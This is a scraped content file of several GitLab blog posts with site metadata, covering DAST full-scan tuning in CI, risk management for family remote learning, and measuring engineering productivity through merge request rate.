`DAST_FULL_SCAN_ENABLED: true` instructs DAST to run a [full scan](https://www.zaproxy.org/docs/docker/full-scan/), which is more comprehensive than a [baseline scan](https://www.zaproxy.org/docs/docker/baseline-scan/) and potentially finds more vulnerabilities. There are also other config options that you likely want to define such as authentication-related options (`DAST_AUTH_*`) which are not discussed here. You can check out our DAST [user docs](https://docs.gitlab.com/ee/user/application_security/dast/#available-variables) for a refresher on these config options.\n\nWhen running a DAST full scan against a web application with many pages and input parameters, it is possible that the DAST job will not finish testing the application within the CI job timeout and fail. If this is the case for your DAST job, keep reading to learn about tweaking your job configuration to stay within the timeout.\n\n## How to optimize DAST scan duration\n\nIt is not uncommon that a DAST full scan can take 10 or more hours to complete testing in complex applications. To understand how we can reduce the scan duration, we need to take a closer look at how DAST works internally.\n\nDAST job execution is roughly separated into two phases: A spidering phase and a test execution phase. A DAST job starts with spidering, during which it will detect all pages a web application consists of and identify the input parameters on these pages. The spider recursively discovers all pages of an application by visiting the configured target URL (parameter `DAST_WEBSITE`) and by following all URLs found in the page source. These URLs are in turn also searched for URLs in their page source, any new URLs are followed and so on. In a DAST full scan, this procedure is typically repeated until all discovered URLs have been visited.\n\nIn the test execution phase, test rules are executed against the target application to find vulnerabilities. Most of the rules are executed for any of the discovered pages in the spidering phase, leading to a direct relation between the number of executed test cases and the number of discovered pages.\n\nSome rules check for specific CVEs such as [Heartbleed](https://www.zaproxy.org/docs/alerts/20015/) while others are only applicable to applications written in specific languages such as [Java](https://www.zaproxy.org/docs/alerts/90002/), [ASP.net](https://www.zaproxy.org/docs/alerts/10061/), and so on. A DAST full scan will, by default, execute all rules even if the target application’s tech stack is not affected by the vulnerability being tested for.\n\nTo summarize, you can use the following rule of thumb to estimate a DAST job’s scan duration: Number of Tested Pages **x** Number of Executed Rules. \n\nTo optimize scan duration, we will have to tweak these factors.\n\n### How to reduce the number of tested pages\n\nTo understand which pages of our application are tested we can refer to the job log. The URLs of all tested pages are listed like in the example below.\n\n```\n2020-08-01 00:25:34,454 The following 2903 URLs were scanned:\nGET https://gitlab-review.app\nGET https://gitlab-review.app/*/*.git\nGET https://gitlab-review.app/help\nGET https://gitlab.com/help/user/index.md\n...\n```\n\nBased on this information we can exclude low-risk pages from being tested. For example, for the GitLab web app we decided to [exclude](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/dast.gitlab-ci.yml#L30) any of the [help pages](https://gitlab.com/help). These pages are mostly static and the application code doesn’t process any user-controlled inputs, which rules out attack categories like SQL injection, XSS etc. Excluding these led to 899 URLs less being spidered and tested, reducing the scan duration significantly.\n\nTo exclude low-risk pages from being tested, you can use the environment variable [DAST_AUTH_EXCLUDE_URLS](https://docs.gitlab.com/ee/user/application_security/dast/#available-variables) as mapped out below:\n\n```yaml\nscript:\n  - 'export DAST_AUTH_EXCLUDE_URLS=\"https://gitlab-review.app/help/.*,https://gitlab-review.app/profile/two_factor_auth\"' \n```\n\n`DAST_AUTH_EXCLUDE_URLS` takes a comma-separated list of URLs to exclude. URLs can contain regular expressions, e.g. `https://gitlab-review.app/help/.*` will exclude any URL that starts with `https://gitlab-review.app/help/`.\n\n### How to populate your app with test data\n\nPopulating your application with test data is important because it allows DAST to discover and test all the functionality of your application. At the same time, you want to avoid adding redundant test data to your application, which would lead to DAST exercising the same code repeatedly.\n\nFor example, we can create multiple [projects](https://docs.gitlab.com/ee/user/project/) in a GitLab instance and each project will be accessible via a unique URL, e.g. `https://gitlab.example/awesome-project`, `https://gitlab.example/another-project`, etc. To DAST these look like unrelated pages and it will test each page separately. However, the application code that is processing requests to different projects is largely identical, leading to the same code being tested multiple times. This increases the scan duration and is unlikely to identify more vulnerabilities than testing only a single project would.\n\nIn every pipeline that runs DAST against GitLab, we spin up a fresh GitLab instance as a [review app](https://docs.gitlab.com/ee/ci/review_apps/) and populate it with the test data that we need for the DAST job. If you are looking for a similar solution, you might find the job that is [deploying the review app](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/review.gitlab-ci.yml#L53-83) and seeding it with [test data](https://gitlab.com/gitlab-org/gitlab/-/blob/8b1557c02fe5519ba952ea59c93b84912dd357b4/.gitlab/ci/review.gitlab-ci.yml#L83) interesting.\n\n### Identifying relevant rules for your DAST scan\n\nAs mentioned above, a DAST full scan runs, by default, all rules against any discovered page. Therefore, another way to reduce scan duration is to disable irrelevant rules or rules that you have determined are low-risk for your application context. To determine rule relevance, consider the following:\n\n- Does the rule apply to my web framework?\n- Does the rule apply to my web server?\n- Does the rule apply to my database server?\n- Does the type of vulnerability a rule tests for apply to my application?\n\nFor example, if your application is not built with Java, rules that test for [Java-specific vulnerabilities](https://www.zaproxy.org/docs/alerts/90002/) can be disabled. There are many rules that are specific to a web framework, server, or database being used like [Apache HTTP Server](https://www.zaproxy.org/docs/alerts/10053/), [ASP.NET](https://www.zaproxy.org/docs/alerts/10061/), [PostgreSQL](https://www.zaproxy.org/docs/alerts/40022/) etc. If in doubt around which rule(s) are applicable to which tech stack, you can find the information either in the [ZAP user docs](https://www.zaproxy.org/docs/alerts/) or directly in the [rule implementation](https://github.com/zaproxy/zap-extensions/blob/master/addOns/ascanrules/src/main/java/org/zaproxy/zap/extension/ascanrules/CodeInjectionScanRule.java#L86-L91):\n\n```java\npublic boolean targets(TechSet technologies) {\n    if (technologies.includes(Tech.ASP) || technologies.includes(Tech.PHP)) {\n        return true;\n    }\n    return false;\n}\n```\nNote: Most rules classes have a function `targets` that defines to which technologies a rule is applicable.\n\nAnother example of a rule that might not apply to your application is the [PII Disclosure](https://www.zaproxy.org/docs/alerts/10062/) rule if your application does not process any PII.\n\n### Excluding irrelevant rules\n\nThe execution time of individual rules varies substantially. To understand how much time a particular rule adds to the total scan duration and how much we could gain from disabling it, we turn again to the job log. Each rule prints its duration on completion, for example:\n\n```\n[zap.out] 3937350 [Thread-8] INFO org.parosproxy.paros.core.scanner.HostProcess - completed host/plugin https://gitlab-review.app | TestExternalRedirect in 2813.043s with 33151 message(s) sent and 0 alert\n```\n\nFrom this message we learn that rule `TestExternalRedirect` took 47 minutes to complete, hence disabling this rule reduces the scan duration by about 47 minutes.\n\nWe can disable individual rules with the environment variable `DAST_EXCLUDE_RULES`. Here is an example:\n\n```yaml\nvariables:\n  DAST_EXCLUDE_RULES=”41,42,43,10027,...,90019”\n```\n\n`DAST_EXCLUDE_RULES` takes a comma-separated list of rule ids. You can find the id of a particular rule in the summary printed to the job log:\n\n```\nPASS: External Redirect [20019]\n…\nSUMMARY - PASS: 106 | WARN: 2\n```\n\nWe can see from the log that rule External Redirect, which we found earlier to take 47 minutes, has rule id 20019. To disable this rule in addition to the rules from the previous example, we would need to add it to `DAST_EXCLUDE_RULES` like so: \n\n```yaml\nvariables:\n  DAST_EXCLUDE_RULES=”20019,41,42,43,10027,...,90019”\n```\n### Parallelizing DAST jobs to further reduce pipeline duration\n\nTo reduce the total duration of the pipeline that is running the DAST job, we can split up the rules that we want to execute into multiple DAST jobs and run the jobs in parallel. Below is an example that demonstrates how to split up the rules.\n\n```yaml\n# Any configuration that is shared between jobs goes here\n.dast-conf:\n  image:\n    name: \"registry.gitlab.com/gitlab-org/security-products/dast:1.22.1\"\n  services:\n  - name: \"gitlab/gitlab-ee:nightly\"\n    alias: gitlab\n  script:\n  - /analyze -t \"http://gitlab\"\n\n# First DAST job executing rules 6 to 10\ndast-1/2:\n  extends:\n  - .dast-conf\n  variables:\n    DAST_EXCLUDE_RULES: \"1,2,3,4,5\"\n\n# Second DAST job executing rules 1 to 5\ndast-2/2:\n  extends:\n  - .dast-conf\n  variables:\n    DAST_EXCLUDE_RULES: \"5,6,7,8,9\"\n```\n\nFor the sake of brevity, we assume in the example above that our DAST job runs rules with id 1 to 10. As described in the previous section, refer to the job log to find which rules were executed (we are working on printing a tidy [summary of executed rules](https://gitlab.com/gitlab-org/gitlab/-/issues/230893)). The example defines two DAST jobs `dast-1/2` and `dast-2/2`. `dast-1/2` is excluding rules 1 to 5 and, hence, executes rules 6 to 10. Vice versa, `dast-2/2` is excluding rules 6 to 10 and, hence, executes rules 1 to 5.\n\nFollowing the same pattern, you can split up the rules into as many jobs as necessary, keeping the rules executed in a job mutually exclusive with respect to all other jobs.\n\nNote that new releases of GitLab DAST may contain new rules, which will get executed if the rule ids are not manually added to `DAST_EXCLUDE_RULES`. In the example above, we pinned the version of the DAST image to a specific version using the `image` keyword. This allows us to review new releases manually and adjust `DAST_EXCLUDE_RULES` as necessary before upgrading to a new DAST version.\n\nWhen running multiple DAST jobs in parallel against the same target application, make sure that the application isn’t overloaded and becomes a bottleneck. If you observe connection timeouts in the DAST job logs, chances are your target site is overloaded. To mitigate this issue, consider spinning up additional instances of your target application and distribute the test load among the instances. GitLab CI offers, through the [`services`](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#what-is-a-service) keyword, a convenient way of creating a dedicated application instance for each DAST job. In the example above, we start a dedicated GitLab instance for each DAST job with:\n\n```yaml\n  services:\n  - name: \"gitlab/gitlab-ee:nightly\"\n    alias: gitlab\n```\n## Summary\n\nIn this blog post, we walked you through common challenges encountered when testing complex web applications with DAST and solutions that worked well for our internal projects at GitLab. \n\nAs we continue and broaden our use of DAST full scans within GitLab and our Security department, we’re excited to identify vulnerabilities in GitLab earlier in the SDLC and look forward to sharing interesting findings with the community. In addition, we take our lessons learned from setting up DAST full scans back to our engineering team to continue improving user experience. We also plan to explore additional dynamic testing techniques such as [fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) to complement our DAST results.\n\nIs there a problem area that you’ve encountered or solution for fine-tuning DAST full scans we've missed that's worked well for you? We want to hear about it and would love your feedback below in the comments.\n\nCover image by [Pixabay](https://www.pexels.com/@pixabay) on [Pexels](https://www.pexels.com/photo/blur-bowed-stringed-instrument-classic-classical-237454/)\n{: .note}\n",[674,2952,815],{"slug":22077,"featured":6,"template":678},"how-to-configure-dast-full-scans-for-complex-web-applications","content:en-us:blog:how-to-configure-dast-full-scans-for-complex-web-applications.yml","How To Configure Dast Full Scans For Complex Web Applications","en-us/blog/how-to-configure-dast-full-scans-for-complex-web-applications.yml","en-us/blog/how-to-configure-dast-full-scans-for-complex-web-applications",{"_path":22083,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22084,"content":22090,"config":22095,"_id":22097,"_type":16,"title":22098,"_source":17,"_file":22099,"_stem":22100,"_extension":20},"/en-us/blog/applying-risk-management-to-remote-learning",{"title":22085,"description":22086,"ogTitle":22085,"ogDescription":22086,"noIndex":6,"ogImage":22087,"ogUrl":22088,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22088,"schema":22089},"Applying risk management to pandemic-driven remote learning","A GitLab team member and parent offers some tips to improve today’s remote learning experience.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672774/Blog/Hero%20Images/pexels-august.jpg","https://about.gitlab.com/blog/applying-risk-management-to-remote-learning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Applying risk management to pandemic-driven remote learning\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Meghan Maneval\"}],\n        \"datePublished\": \"2020-08-27\",\n      }",{"title":22085,"description":22086,"authors":22091,"heroImage":22087,"date":22092,"body":22093,"category":18484,"tags":22094},[20248],"2020-08-27","Like many of you, when COVID-19 began to spread in the Spring of 2020, I never imagined just how much my life would change. While I personally was accustomed to working remotely, my husband and children certainly were not. As the pandemic continues, parents around the world are faced with a new challenge: how to simultaneously manage their careers and their children’s educational needs. The risks, at times, can feel insurmountable. I went through every emotion this summer as I tried to strategize for what pandemic-driven remote learning would look like for my family. And then I realized, why am I trying to recreate the wheel? As an all-remote company, [GitLab’s values](https://handbook.gitlab.com/handbook/values/) and [all-remote culture](/company/culture/all-remote/) provide a proven model for successfully managing a remote workforce. So why not try it out with my kids? \n\nSo with that knowledge and appreciation, I decided to utilize the basic principles of [risk management](/handbook/security/security-assurance/security-risk/storm-program/index.html) to manage my family’s work and learn from home routine. But don’t worry, you don’t have to be a compliance professional to utilize this technique. In this blog post, I've mapped out the steps I used with my family that I hope will contribute to a more successful 2020/2021 school year for families. \n\nBefore you start, it is critical to remember, you can never fully eliminate risk. The steps below are designed to reduce the risk to align with your risk appetite. Only you can determine what level of risk you will accept. Some people, like myself, may be more risk-averse and therefore seek to plan out everything to the smallest detail. Others might be more risk-tolerant and willing to let things “slide” a little. No matter where you fall on that spectrum, you can utilize the steps below to document and execute a successful pandemic-driven remote learning plan. \n\n### 1: Identify\n\nThe first stage of risk management is to identify possible risks. If you don’t know what could go wrong you can’t prepare for it! It’s important to [collaborate](https://handbook.gitlab.com/handbook/values/#collaboration) with each member of your family and understand their specific needs and concerns. As parents, we all know that each of our children has different needs. The same is true for their education: what works for one student won’t work for all students.\n\nLet’s consider last spring as our “trial run”. For remote learning, discuss with your children what they enjoyed about that time and what didn’t work. If possible, reach out to their previous year’s teachers for additional feedback. To ensure your remote work success during present times, it is also important to have a discussion with your boss and/or Human Resources department to set and understand expectations. Many employers have programs, like GitLab’s [Family and Friends Day](https://about.gitlab.com/company/family-and-friends-day/) to provide flexible schedules or supportive programs like what’s described in this [GitLab COVID-19 handbook page](/handbook/total-rewards/benefits/covid-19/#sts=Resources%20for%20COVID-19). The more people you talk to, the more data you can collect. And the more data you have now, the more prepared you will be for the next steps. \n\n### 2: Analyze\nOnce you have identified your risks, you can move on to analyzing them. Depending on how many people are in your family, the list of risks identified may be long. In my case, as a family of 7, we had around 15 items on our initial list when we undertook this exercise. As we began analyzing them, however, our list grew to almost 30. \n\nFor us, the easiest way to analyze these risks was to consider the impact these risks had on the family (or the individual) and the likelihood of them recurring. Then we asked why over and over until the true cause is identified. \n\nExample:   \n**Student A (17):** The school provided the students with weekly packets where they read and complete worksheets. Student A was unable to complete many of the assignments and failed 2 classes.  \n**Risk Identified:** Student A is concerned the school will do a similar process (paper packets) and he will continue to fail.  \n**Impact:** If Student A fails another class, he won’t graduate on time.  \n**Likelihood:** Depending on the classes and the course work, this could be highly likely.     \n\nRoot cause analysis: Why did Student A fail?\n* Student A did not complete the packets for 2 of his classes, why?\n* Student A had trouble understanding the content, why?\n* Student A learns better with verbal instructions and opportunities to ask questions. \n\nIn this case, the root cause was that Student A needs more verbal instruction and oversight when being presented with new concepts. \n\nYou may also identify opportunities as part of this process. For example, in our house, Student C preferred using Google Classroom’s To-Do List functionality to track open assignments and was able to easily visualize his tasks. By identifying what went right, in addition to what went wrong, you are able to better shape your treatment plans in the next phase. \n\n### 3: Action\nOnce you have analyzed your risks and identified the root causes, you can move on to the action phase. This phase is often the most difficult to complete. If you knew how to do it the right way, you would have done it correctly in the first place, right? Actually, wrong. We learn a lot from failing! Some of the best plans go through multiple [iterations](https://handbook.gitlab.com/handbook/values/#iteration) before you find the right fit. The important thing is to focus on improvement. \n\nBelow is a snapshot of the action plans I developed with my family: \n\n| **Risk** | **Root cause** | **Treatment plan** |\n|:-------------|:-------------|:-------------|\n| Student A is concerned the school will employ a similar process (paper packets) and he will continue to fail. | Student A learns better with verbal instructions and opportunities to ask questions. | _Iteration 1_: Parent assists Student A in creating a schedule where Parent can review the instruction page with Student A and answer any questions up front. Student A then works on packets for 1 hour. If packet is not completed and/or student has questions, Student A asks Parent for assistance during Parent’s lunch break. \u003Cbr/> _Iteration 2_: If school changes format to online learning using Zoom, Student A will work with teacher on expectations and additional assistance. |\n| Parent is concerned about Student B’s social and emotional well-being. | Student B learns better when she can work in a group with her peers to solve problems. Student B is used to having a classroom of friends to support her. | _Iteration 1_: Parent sets up an iPad for Student B to contact her friends. \u003Cbr/> _Iteration 2_: Teacher sets up breakout rooms in Zoom for collaboration. |\n| Parent is concerned about internet bandwidth. | Up to 7 people are using the wireless to learn and work from home. | _Iteration 1_: Parent increases internet speeds and bandwidth. Parent moves router to offer wired connection to Parent’s laptop. \u003Cbr/> _Iteration 2_: Parent sets up router to support two bands- 2.4ghz and 5ghz. ** \u003Cbr/> _Iteration 3_: Parent replaces older devices that might be bandwidth hogs. \u003Cbr/> _Iteration 4_: Parent coordinates a “no meeting” block during peak school hours with employer. |\n\n** The 2.4ghz network is slower but can reach further. However, 2.4 is very prone to interference (such as microwaves). The 5ghz network is faster, but the signal is weaker. \n\nThe final step in the action phase is to discuss the plan(s) with all parties involved. Being [transparent](https://handbook.gitlab.com/handbook/values/#transparency) with teachers and your employer will be key to your success. In our case, we spoke to each of our children’s teachers and expressed our concerns. In many cases, your child’s teachers can add a lot of value to the action plans. The same is true for your employer. When you surface issues constructively, it allows you to be proactive in your response plan. \n\n### 4: Monitor\nNow that you have your plans in place, you need to find a way to determine if they are working. In order to track your results, you need a measure of success. Remember when I said that each person’s risk appetite is different? The same is true with measures of success. In our case, we decided to measure our children’s success based on two factors: attendance in virtual classes and completion of assignments. For our high school and college-age children, we set a 90% attendance goal with a B average across all classes. For our elementary-age children, we set an 85% attendance goal; however, 95% of assignments must be turned in. Each child also set a “stretch” goal to address something particularly challenging from the Spring. For example, Student B struggles with reading and her progress was stunted due to lack of reading support during the spring semester. She set a personal goal to get back to the level she was at by the end of the first term.\n\nAs you can see, the principles of risk management can be pretty handy in the real world. As you work through these steps with your family, Keeping GitLab’s values [CREDIT](https://handbook.gitlab.com/handbook/values/#credit) in mind can help guide the way. \n\n* **C**ollaborate: No one can solve this alone. \n* **R**esults: Focus on action and growth, not perfection.\n* **E**fficiency: Allow your kids self-learning opportunities, but step in when needed. \n* **D**iversity, Inclusion and Belonging: Build a safe community where everyone has input. This includes your family, their teachers, and your employer(s). \n* **I**teration: We all will fail. At some point, something will go wrong. But that’s ok! Learn from it and reassess the plan. It’s ok to change the plan if it isn’t working. \n* **T**ransparency: Openly discuss how your family is feeling about remote education and work. But remember, as the parent or caregiver, your tone will set the tone for the rest of the family. So be sure to be constructive and positive in your conversations. And, as cheesy as it sounds, print it out and post it! We have schedules, reminders, and signs posted all around our house to transparently communicate the expectations and ensure we are all working together to meet our collective goals. \n\nDoes this plan resonate with you?  Have a suggestion I missed including? Please leave a comment, I’d love to iterate on my family’s approach!\n\nCover image by [August de Richelieu](https://www.pexels.com/@august-de-richelieu) on [Pexels](https://pexels.com/)",[674,676,4144],{"slug":22096,"featured":6,"template":678},"applying-risk-management-to-remote-learning","content:en-us:blog:applying-risk-management-to-remote-learning.yml","Applying Risk Management To Remote Learning","en-us/blog/applying-risk-management-to-remote-learning.yml","en-us/blog/applying-risk-management-to-remote-learning",{"_path":22102,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22103,"content":22109,"config":22114,"_id":22116,"_type":16,"title":22117,"_source":17,"_file":22118,"_stem":22119,"_extension":20},"/en-us/blog/measuring-engineering-productivity-at-gitlab",{"title":22104,"description":22105,"ogTitle":22104,"ogDescription":22105,"noIndex":6,"ogImage":22106,"ogUrl":22107,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22107,"schema":22108},"How we measure engineering productivity at GitLab","Learn about how we measure and iterate through this metric","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681533/Blog/Hero%20Images/background.jpg","https://about.gitlab.com/blog/measuring-engineering-productivity-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we measure engineering productivity at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Clement Ho\"}],\n        \"datePublished\": \"2020-08-27\",\n      }",{"title":22104,"description":22105,"authors":22110,"heroImage":22106,"date":22092,"body":22112,"category":734,"tags":22113},[22111],"Clement Ho","\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-09-02.\n{: .alert .alert-info .note}\n\nOne of the challenges in a rapidly growing engineering organization is determining how your organization's productivity scales over time. Companies that grow quickly often face a slow down in output because of inefficiencies and communication challenges. For example, a task that you used to be able to ask another coworker to do may now need a comprehensive approval flow.\n\nAt GitLab, we went from 100 to 280 engineers in 1.5 years. As a startup, it was critical that we continued our momentum of:\n\n![Shipping monthly releases => Provide more value to users => Increasing revenue](https://about.gitlab.com/images/blogimages/measuring-engineering-productivity/momentum.png){: .shadow.center}\n\nAs a result, we created several [Key Performance Indicators](/company/kpis/#what-are-kpis) (KPIs) and Performance Indicators (PIs) around this:\n\n- [Throughput](/handbook/engineering/development/performance-indicators/#throughput)\n- [Product MRs Review to Merge time (RTMT)](/handbook/engineering/development/performance-indicators/#review-to-merge-time-rtmt)\n- [Development Department Member MR Rate](/handbook/engineering/development/performance-indicators/#development-department-member-mr-rate)\n- [Say Do Ratio](/handbook/engineering/development/performance-indicators/#say-do-ratios)\n- [Product MRs by Type](/handbook/engineering/development/performance-indicators/#product-mrs-by-type)\n\nThe primary one that is often discussed in engineering leadership at GitLab is [Merge Request (MR)](/solutions/continuous-integration/) Rate.\n\nIn this blog post, I'll take a deep dive into how we measure engineering productivity at GitLab using MR Rate, the challenges we've encountered, and what we do to increase this metric. I hope that through this, you'll have a deeper understanding of how we operate at GitLab and inspire you to reflect on how your organization measures engineering productivity.\n\n## What is MR Rate?\n\n![MR Rate = (Total MRs for a team in a given month)/(number of team members employed during that month)](https://about.gitlab.com/images/blogimages/measuring-engineering-productivity/mr-rate-formula.jpeg){: .shadow.center}\n\n**Note:** We include management roles in the team count because we want this metric to be a team metric and want managers to be accountable for their team's metric.\n\nWe use this metric because:\n\n1. We want to incentivize everyone to [iterate](https://handbook.gitlab.com/handbook/values/#iteration) and break down work into smaller MRs because smaller MRs have a faster review time and get merged faster (better developer and maintainer review experience)\n1. The quicker we can deliver features to users, the faster we can iterate upon them\n1. Every MR into the codebase improves the codebase, and every improvement has the downstream effect of making the product better\n\nWhen viewed at an organization level, this metric helps us understand how productivity in the organization changes over time. Although this metric seems simple, it actually requires a lot of detailed analysis as there are many situations to examine:\n\n- New team vs. established team\n- Team performance issues (blocking work or incorrect iteration work breakdown)\n- Individual growth (and performance management)\n- [Community contributions](/handbook/marketing/developer-relations/contributor-success/) vs. independent team contributions\n- Operational productivity constraints\n\nAt first, we measured MRs based on labels associated with the product domain (which generally maps to an existing engineering team). As an open core company, this allowed us to easily aggregate community contributions into the metric. We wanted to account for them because we want to continue encouraging team members to support community contribution MRs and recognize that these MRs continue to help provide the product with more value to users.\n\nUnfortunately, as our organization grew over time, this metric became confusing. Although we had a bot that would label MRs, we occasionally had bad data and mislabeled MRs. In addition, certain teams with product areas that were more mature had more community contributions than others. The combination of these issues evolved the metric into multiple types.\n\n- MR Rate measured through labeling\n- Team MR Rate measured through MR authorship (also known as Narrow MR Rate)\n\nIt's likely that over time this may continue to evolve but for now, these new types of MR Rates have brought more clarity within our organization.\n\n## What are the challenges with MR Rate?\n\nThere are many challenges, but we'll highlight a few notable ones.\n\nFirst of all, one metric never tells the full story. One of the challenges we faced as we hyper focused on this metric was being biased to the number given by the metric rather than truly understanding the story surrounding the metric. For example, a team with a high MR Rate could be shipping quantity over quality. By the MR Rate measurement alone, the organization could unintentionally exemplify teams with unstable features.\n\nIn order to avoid these types of situations, we first ensure that we clearly define our [Definition of Done](https://docs.gitlab.com/ee/development/contributing/merge_request_workflow.html#definition-of-done) and our [maintainer](/handbook/engineering/workflow/code-review/#maintainer) [review process](https://docs.gitlab.com/ee/development/code_review.html). This allows us to set a baseline for quality so that we can set clear expectations in the organization and create clear guidance when MRs are below our standards for quality.\n\nIn addition, we also use other metrics to get a fuller understanding of the story and we regularly introspect about our numbers. We intentionally accompany MR Rate with a few other metrics such as [Product MRs by Type](/handbook/engineering/development/performance-indicators/#product-mrs-by-type) to better understand the distribution of MRs and [Say Do Ratio](/handbook/engineering/development/performance-indicators/#say-do-ratios) (this is our latest addition, we're still iterating on it) to better understand how the teams are performing relative to what they committed with product management during the development milestone. We generally use MR Rate to observe trends and regularly ask ourselves, “why is this trending down?” as well as “why is this trending up so much? Is there something that this team is doing that other teams can learn from?”. These are some techniques we use to keep ourselves accountable for understanding the broader picture of the metric.\n\nAnother challenge we faced with MR Rate is balancing it between a team vs. individual metric. As an organization, we want MR Rate to trend upwards over time, and we want to hold engineering leaders accountable for their teams. Engineering directors are responsible for their (organization) sub-department's metrics, and engineering managers are responsible for their team's metrics respectively.\n\nWe intentionally chose not to make MR Rate an individual metric because we do not want to encourage siloed, non-collaborative behavior. For example, we do not want a team member to feel disincentivized to review other team members' MRs or unblock others. This is especially important because [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) is a company value. Although actions such as making an MR Rate leaderboard could potentially increase the metric for the organization, we have intentionally chosen not to do that because we want to encourage collaboration. We also chose not to use MR Rate as a metric for a team member's underperformance.\n\nThis conscious decision is tricky (especially for smaller teams) because it can be rather difficult for engineering managers to increase their team's MR Rate trends without discussing individual metrics. When teams have less team members, each team member's total MRs in a month would be more impactful to the team's overall MR Rate compared to a larger team. Different teams have attempted to address this in different ways which we will explain in the next section.\n\n## How do we increase MR Rate?\n\nWe use four primary strategies to increase MR Rate.\n\n1. Improving iteration\n1. Setting KPIs\n1. Setting goals (OKRs) to increase KPI\n1. Empowering teams to improve efficiencies\n\nImproving iteration is our primary strategy because team members who are better at iterating are able to create smaller MRs, which results in a higher MR Rate. In our experience, iteration is easy to conceptualize but difficult to apply. Our organization put together some resources (including a [training template](https://gitlab.com/gitlab-com/Product/-/blob/master/.gitlab/issue_templates/iteration-training.md)), and our CEO has set up Iteration Office Hours as an opportunity to coach (most of which are also available publicly on [YouTube](https://www.youtube.com/c/GitLabUnfiltered/search?query=iteration+office+hours+with)).\n\nFrom an organizational perspective, we use KPIs to monitor our MR Rate. Our organization tracks our [Development Department Narrow MR Rate](/handbook/engineering/development/performance-indicators/#development-department-narrow-mr-rate) as our primary KPI with a description, a chart with current and historical data, and a predefined target. As of writing this article, our target is 10, and we are trending toward that target over time.\n\n![Development Department Narrow MR Rate](https://about.gitlab.com/images/blogimages/measuring-engineering-productivity/dept-mr-rate.png){: .shadow.center}\n\n_KPI chart as of August 24, 2020_\n\nEach sub-department under the development department also has their dashboards available publicly (though these dashboards are not as organized and easy to find as the KPI). For example, the Ops sub-department tracks this on their specific [handbook page](/handbook/engineering/development/ops/#ops-sub-department-performance-indicators). We are currently working on consolidating these charts. These KPI dashboards make it easy to understand how the organization is performing and allow us to keep it top of mind.\n\nIn addition to KPIs, each fiscal quarter, engineering management uses these indicators to determine how to set OKRs. In previous quarters, OKRs were set to raise MR Rate to higher targets. This quarter's goal, in light of COVID's long lasting implications, is to maintain the target, because we understand that the current situation is affecting everyone differently. OKRs help align the organization toward the same goals so that everyone understands and can contribute to these goals.\n\nFrom a team perspective, we also empower our engineering managers to experiment with processes to improve efficiency but stay mindful of maintaining healthy work life balance. Some engineering managers choose to use individual MR Rate values as a means of coaching and understanding more about each team member's merge requests. For example, a team member may have a lower MR Rate because he/she is a maintainer, and because of the number of MR reviews received, is unable to have completed as many MRs as he/she could do. Some teams also look through their team's MR Rate on a weekly basis and provide commentary to their directors as a means of understanding more about the metric in order to improve it over time.\n\n## Recap\n\nThe MR Rate is how we've chosen to measure and increase engineering productivity at GitLab. It's not perfect, but we're constantly iterating to make it better. We have yet to determine what our ceiling is or whether we've already reached it but we will definitely share with the wider community when we get to that point. What metrics do you use to measure your organization's engineering productivity? Do you have suggestions or comments about MR Rate? Leave a comment below, and we'll read through them and do our best to respond.\n\n# Special thanks\n\nThanks to the following engineering leaders at GitLab who opened up their calendars to share their insights on this topic:\n\n- [Eric Johnson](/company/team/#edjdev), executive vice president of Engineering\n- [Christopher Lefelhocz](/company/team/#clefelhocz1), vice president of Development\n- [Wayne Haber](/company/team/#whaber), director of Engineering, Threat Management\n- [Sam Goldstein](/company/team/#sgoldstein), director of Engineering, Op\n- [Tim Zallmann](/company/team/#timzallmann), director of Engineering, Dev\n- [Chun Du](/company/team/#cdu1), director of Engineering, Enablement\n- [Bartek Marnane](/company/team/#bmarnane), director of Engineering, Growth\n- [Todd Stadelhofer](/company/team/#tstadelhofer), director of Engineering, Secure\n- [Darby Frey](/company/team/#darbyfrey), senior manager, Engineering, Verify\n- [Daniel Croft](/company/team/#dcroft), senior manager, Engineering, Package and Release\n\nCover image by [Frank Mckenna](https://unsplash.com/@frankiefoto) on [Unsplash](https://unsplash.com/photos/4V8JxijgZ_c)\n{: .note}\n",[676],{"slug":22115,"featured":6,"template":678},"measuring-engineering-productivity-at-gitlab","content:en-us:blog:measuring-engineering-productivity-at-gitlab.yml","Measuring Engineering Productivity At Gitlab","en-us/blog/measuring-engineering-productivity-at-gitlab.yml","en-us/blog/measuring-engineering-productivity-at-gitlab",{"_path":22121,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":22122,"content":22128,"config":22133,"_id":22135,"_type":16,"title":22136,"_source":17,"_file":22137,"_stem":22138,"_extension":20},"/en-us/blog/ten-devops-terms",{"title":22123,"description":22124,"ogTitle":22123,"ogDescription":22124,"noIndex":6,"ogImage":22125,"ogUrl":22126,"ogSiteName":1180,"ogType":1181,"canonicalUrls":22126,"schema":22127},"DevOps terminology: 10 terms that might surprise you","From Yoda to yaks and even baklava, here are 10 DevOps terms we’re betting you’ve never heard of.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681526/Blog/Hero%20Images/devopsterms.jpg","https://about.gitlab.com/blog/ten-devops-terms","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevOps terminology: 10 terms that might surprise you\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-08-25\",\n      